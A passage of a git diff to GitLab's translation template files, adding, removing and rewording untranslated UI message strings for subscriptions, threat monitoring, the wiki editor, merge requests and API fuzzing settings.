msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 45f6270bfb8..1c3aa29a4f1 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:25\n"
+"PO-Revision-Date: 2021-06-01 20:48\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
